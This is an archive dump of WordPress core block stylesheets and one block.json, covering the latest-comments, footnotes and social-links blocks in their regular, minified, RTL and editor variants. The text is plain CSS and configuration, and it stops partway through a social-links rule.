.wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{line-height:1.1;list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{min-height:2.25em;list-style:none}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.has-dates .wp-block-latest-comments__comment,.has-excerpts .wp-block-latest-comments__comment{line-height:1.5}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;line-height:1.8;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}blocks/latest-comments/style.css000064400000004724147177035020013027 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ol.wp-block-latest-comments { margin-left: 0; } .wp-block-latest-comments .wp-block-latest-comments { padding-left: 0; } .wp-block-latest-comments__comment { line-height: 1.1; list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-left: 3.25em; } .has-dates .wp-block-latest-comments__comment, .has-excerpts .wp-block-latest-comments__comment { line-height: 1.5; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; line-height: 1.8; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: left; height: 2.5em; margin-right: 0.75em; width: 2.5em; }blocks/footnotes/style.min.css000064400000000437147177035020012507 0ustar00.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}blocks/footnotes/style-rtl.css000064400000000510147177035020012514 0ustar00.editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:right; text-indent:0; }blocks/footnotes/block.json000064400000002604147177035020012036 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/footnotes", "title": "Footnotes", "category": "text", "description": "Display footnotes added to the page.", "keywords": [ "references" ], "textdomain": "default", "usesContext": [ "postId", "postType" ], "supports": { "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": false, "color": false, "width": false, "style": false } }, "color": { "background": true, "link": true, "text": true, "__experimentalDefaultControls": { "link": true, "text": true } }, "html": false, "multiple": false, "reusable": false, "inserter": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-footnotes" } blocks/footnotes/style-rtl.min.css000064400000000440147177035020013300 0ustar00.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0}blocks/footnotes/style.css000064400000000507147177035020011723 0ustar00.editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:left; text-indent:0; }blocks/social-links/editor-rtl.css000064400000007260147177035020013223 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-right: 8px; } .wp-block-social-links.wp-block-social-links { background: none; } .wp-social-link:hover { transform: none; } .editor-styles-wrapper .wp-block-social-links { padding: 0; } .wp-block-social-links__social-placeholder { display: flex; opacity: 0.8; list-style: none; } .wp-block-social-links__social-placeholder > .wp-social-link { padding-right: 0 !important; margin-right: 0 !important; padding-left: 0 !important; margin-left: 0 !important; width: 0 !important; visibility: hidden; } .wp-block-social-links__social-placeholder > .wp-block-social-links__social-placeholder-icons { display: flex; } .wp-block-social-links__social-placeholder .wp-social-link { padding: 0.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link { padding: 0; } .wp-block-social-links__social-placeholder .wp-social-link::before { content: ""; display: block; width: 1em; height: 1em; border-radius: 50%; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link::before { background: currentColor; } .wp-block-social-links .wp-block-social-links__social-prompt { min-height: 24px; list-style: none; order: 2; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 24px; margin-top: auto; margin-bottom: auto; cursor: default; padding-left: 8px; } .wp-block[data-align=center] > .wp-block-social-links { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } @media (prefers-reduced-motion: reduce) { .wp-social-link.wp-social-link__is-incomplete { transition-duration: 0s; transition-delay: 0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; }blocks/social-links/style.min.css000064400000022547147177035020013065 0ustar00.wp-block-social-links{padding-left:0;padding-right:0;text-indent:0;margin-left:0;background:none}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{text-decoration:none;border-bottom:0;box-shadow:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{width:1em;height:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){margin-left:.5em;margin-right:.5em;font-size:.65em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{justify-content:center;display:flex}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{display:block;border-radius:9999px;transition:transform .1s ease;height:auto}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-duration:0s;transition-delay:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#fe4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{width:1.25em;height:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#fe4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}blocks/social-links/editor.css000064400000007260147177035020012424 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-left: 8px; } .wp-block-social-links.wp-block-social-links { background: none; } .wp-social-link:hover { transform: none; } .editor-styles-wrapper .wp-block-social-links { padding: 0; } .wp-block-social-links__social-placeholder { display: flex; opacity: 0.8; list-style: none; } .wp-block-social-links__social-placeholder > .wp-social-link { padding-left: 0 !important; margin-left: 0 !important; padding-right: 0 !important; margin-right: 0 !important; width: 0 !important; visibility: hidden; } .wp-block-social-links__social-placeholder > .wp-block-social-links__social-placeholder-icons { display: flex; } .wp-block-social-links__social-placeholder .wp-social-link { padding: 0.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link { padding: 0; } .wp-block-social-links__social-placeholder .wp-social-link::before { content: ""; display: block; width: 1em; height: 1em; border-radius: 50%; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link::before { background: currentColor; } .wp-block-social-links .wp-block-social-links__social-prompt { min-height: 24px; list-style: none; order: 2; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 24px; margin-top: auto; margin-bottom: auto; cursor: default; padding-right: 8px; } .wp-block[data-align=center] > .wp-block-social-links { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } @media (prefers-reduced-motion: reduce) { .wp-social-link.wp-social-link__is-incomplete { transition-duration: 0s; transition-delay: 0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; }blocks/social-links/style-rtl.css000064400000027556147177035020013107 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links { padding-right: 0; padding-left: 0; text-indent: 0; margin-right: 0; background: none; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link a { padding: 0.25em; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text) { margin-right: 0.5em; margin-left: 0.5em; font-size: 0.65em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-block-social-link { display: block; border-radius: 9999px; transition: transform 0.1s ease; height: auto; } @media (prefers-reduced-motion: reduce) { .wp-block-social-link { transition-duration: 0s; transition-delay: 0s; } } .wp-block-social-link a { align-items: center; display: flex; line-height: 0; transition: transform 0.1s ease; } .wp-block-social-link:hover { transform: scale(1.1); } .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg { color: currentColor; fill: currentColor; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link { background-color: #f0f0f0; color: #444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon { background-color: #f90; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance { background-color: #0757fe; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy { background-color: #f45800; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook { background-color: #1778f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github { background-color: #24292d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google { background-color: #ea4434; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram { background-color: #f00075; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon { background-color: #3288d4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium { background-color: #02ab6c; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon { background-color: #ff424d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit { background-color: #fe4500; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype { background-color: #0478d7; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr { background-color: #011835; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk { background-color: #4680c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube { background-color: #f00; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link { background: none; } .wp-block-social-links.is-style-logos-only .wp-social-link a { padding: 0; } .wp-block-social-links.is-style-logos-only .wp-social-link svg { width: 1.25em; height: 1.25em; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon { color: #f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp { color: #1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance { color: #0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen { color: #1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart { color: #02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble { color: #e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox { color: #4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy { color: #f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook { color: #1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr { color: #0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare { color: #e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github { color: #24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads { color: #382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google { color: #ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram { color: #f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm { color: #e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin { color: #0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon { color: #3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium { color: #02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup { color: #f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon { color: #ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest { color: #e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket { color: #ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit { color: #fe4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype { color: #0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat { color: #fff; stroke: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud { color: #ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify { color: #1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram { color: #2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-tiktok { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr { color: #011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch { color: #6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter { color: #1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo { color: #1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk { color: #4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress { color: #3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp { color: 